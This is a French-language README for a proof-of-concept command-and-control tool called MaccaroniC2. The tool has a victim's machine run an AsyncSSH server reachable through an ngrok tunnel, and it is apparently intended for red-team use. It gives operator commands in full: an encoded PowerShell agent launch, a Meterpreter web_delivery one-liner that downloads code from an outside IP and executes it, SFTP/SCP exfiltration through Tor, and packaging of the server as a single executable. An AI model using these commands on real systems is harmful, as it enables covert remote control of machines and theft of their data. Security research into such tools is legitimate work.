
Un framework de Command & Control preuve de concept qui utilise la puissante bibliothèque Python AsyncSSH, laquelle fournit une implémentation asynchrone client et serveur du protocole SSHv2, et utilise le wrapper PyNgrok pour l'intégration ngrok.

MaccaroniC2 est un proof-of-concept framework de commande et de contrôle qui utilise la puissante bibliothèque Python AsyncSSH fournissant une implémentation asynchrone client et serveur du protocole SSHv2 et utilise le wrapper PyNgrok pour l'intégration avec ngrok. Cet outil est inspiré pour un scénario spécifique où la victime exécute le serveur AsyncSSH et établit un tunnel vers l'extérieur, prêt à recevoir des commandes de l'attaquant.
L'attaquant exploite l'API officielle de Ngrok pour récupérer le nom d'hôte et le port du tunnel afin d'établir une connexion. Cette approche tire parti des capacités complètes fournies par AsyncSSH, y compris son support intégré pour SFTP et SCP, facilitant l'exfiltration sécurisée et efficace des données et plus encore.
De plus, l'attaquant peut envoyer et exécuter des commandes système en utilisant un proxy SOCKS, en tirant parti des avantages offerts, par exemple, en utilisant TOR pour améliorer l'anonymat.
- Le compte gratuit Ngrok permet uniquement l'utilisation d'un tunnel à la fois. Avec quelques modifications, cet outil pourrait être parfait pour un framework C&C de type BOT pour contrôler plusieurs instances SSH, mais vous devrez mettre à niveau votre plan sur le site web de Ngrok, voir https://ngrok.com/pricing
Exécutez python3 gen_rsa.py pour générer une paire de clés SSH. La clé id_rsa nouvellement générée est utilisée par l'attaquant pour se connecter au serveur s'exécutant sur la machine de la victime.
Modifiez le fichier asyncssh_server.py et placez le contenu de la clé id_rsa.pub nouvellement générée dans la variable pub_key. Le fichier asyncssh_server.py fournit une implémentation du protocole SSHv2 avec les fonctionnalités SFTP et SCP. C'est le script exécuté par la victime.
Créez un compte gratuit sur le site Ngrok et notez le jeton AUTH.
Ajoutez le jeton AUTH à la variable token dans asyncssh_server.py, cela doit être codé en dur dans la fonction ngrok_tunnel().
Créez une clé API gratuite sur le site Ngrok. Notez la chaîne générée.
Avec async_commander.py, vous pouvez envoyer n'importe quelle commande au serveur. Il demande automatiquement le domaine et le port du tunnel Ngrok activé par la victime en utilisant l'API officielle de Ngrok.
Veuillez également noter que le fichier id_rsa doit se trouver dans le même dossier que async_commander.py.
Exécutez le serveur sur la machine victime :
python3 asyncssh_server.py
Depuis la machine de l'attaquant, envoyez une commande en utilisant un proxy socks :
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
Envoyez une commande sans utiliser de proxy :
python3 asyncssh_commander.py "whoami"
Lancez un autre agent C2 (Powershell-Empire, Meterpreter, etc.) :
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
Module web_delivery de Meterpreter
python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""
Obtenez la liste des tunnels actifs :
python3 get_endpoints.py
Générez de nouvelles paires de clés RSA :
python3 gen_rsa.py
Utilisation de SFTP et SCP - vous n'avez pas besoin d'un nom d'utilisateur valide, seulement de la bonne clé id_rsa
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
sftp -P PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
python -m pip install nuitka
python -m nuitka --standalone --onefile asyncssh_server.py
https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py
Pour plus d'informations, consultez l'article associé : https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/
AVERTISSEMENT : Cet outil est destiné uniquement à des fins de test et d'éducation. Il ne doit être utilisé que sur des systèmes avec une autorisation appropriée. Toute utilisation non autorisée ou illégale de cet outil est strictement interdite. Le créateur de cet outil décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par son utilisation. Veuillez vous assurer de respecter les lois et réglementations applicables lors de l'utilisation de cet outil. De plus, il est important de noter que l'utilisation de Ngrok en conjonction avec cet outil peut entraîner la violation des conditions d'utilisation ou des politiques de certaines plateformes. Il est conseillé d'examiner et de respecter les conditions d'utilisation de toute plateforme ou service pour éviter d'éventuelles interdictions de compte ou interruptions.
Placez la chaîne de la clé API dans la variable api_key du fichier async_commander.py. Cela nous permet de récupérer automatiquement le domaine et le port Ngrok du tunnel actif lors de l'automatisation.
Effectuez la même étape pour le fichier get_endpoints.py. Ce script récupère diverses informations utiles sur les tunnels actifs.